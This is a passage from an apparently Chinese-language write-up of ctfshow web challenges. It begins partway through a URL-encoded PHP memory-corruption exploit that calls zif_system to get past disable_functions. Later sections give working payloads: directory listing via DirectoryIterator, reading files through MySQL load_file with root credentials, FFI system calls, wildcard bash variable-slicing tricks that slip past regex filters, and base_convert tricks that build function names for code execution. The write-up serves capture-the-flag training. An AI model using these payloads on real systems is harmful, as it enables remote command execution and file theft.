20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E

 得到flag

ctfshow{a76165f0-67a6-4bda-9b29-af52df2c6b2d}

web73

c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

flag在flagc.txt,可以include包含 

c=include('/flagc.txt');exit();

 得到flag

ctfshow{701e4dae-d3f1-4984-b44a-e0284fdd82e4}

web74

flag在/flagx.txt

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

scandir()被禁用,用DirectoryIterator类

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
c=$a=new DirectoryIterator("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();

直接包含c=include('/flagx.txt');exit();

得到flag 

ctfshow{9c94a50b-9641-418e-9085-8f5b05dffff9}

web75

payload

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

得到flag

 ctfshow{b83c3632-c368-4c09-8a5f-150f092ef94a}

web76

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

    foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

即可得到flag

web77

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

 然后访问1.txt

即可得到flag

web118

为两个payload

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
​
#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

这个题的具体含义为利用~获取变量的最后几位,如

~0获取最后一位
~1获取最后两位
~[a-z]/[A-Z]获取最后一位,等同数字0
在这要配合$PWD,$PATH
$PWD——echo $PWD会输出当前目录名

一般$PATH是以bin结尾,所以${PATH:-A}为n
在hint1中,我们可知当前目录是/var/www/html,也就是${PWD:-A}为l

查看页面源代码

 

得到flag 

ctfshow{a10d48a9-5835-4950-b92e-828b8c076dbb}

web119

可以看到提示了命令执行system($code)
经过测试只能用大写字母${}:?.~还禁用了${PATH}
所以我们没有办法构造nl中的nl了,所以换一种思路构造/bin/cat
而要进行匹配至少需要一个/cat中的一个字母
这里使用${shlvl}进行构造/

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
${PWD:${#}:${SHLVL}}就会输出/
一般给的权限都是www-data,所以我们用${USER}可以获得“www-data”,而我们要取到at的话需要${USER:~2:2},但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION
最终的payload为
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
其实也可以更精简的构造,只取a进行构造

payload为${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

得到flag

ctfshow{9d327c67-4cad-43e2-8904-7ffa51a2d9e3}

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>

相当于上两题把源码给了
payload同上

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

查看页面源代码 

 得到flag

ctfshow{14370b94-74c3-4249-87e3-300f1ef31f55}

web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>

只剩下${PWD}了
payload

code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

/???/r?? ????.???
/bin/rev

${?}=0,${#?}=1($?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误)

${#IFS}=3

得到flag

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这题在上题的基础上又过滤了#PWD,PWD的绕过很简单,用HOME就可以,而#,就要用到$?

$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

所以在使用$?之前要先给错误的命令 让$?的值为1
${}和 <A可以但是题目上${}这个不可以
所以用<A后边的数字4还是用RANDOM随机数来获取
payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web124

在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。

echo base_convert('hex2bin', 36, 10);
结果  37907361743

echo hexdec(bin2hex("_GET"));
结果 1598506324

现在我们要做的就是反过来了


base_convert('37907361743',10,36);    hex2bin

base_convert('37907361743',10,36)(dechex('1598506324'));    _GET

c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

我们再把_GET进行替换

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

得到flag

 ctfshow{88c519e4-8b73-4b59-89c2-ca6800346b69}

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值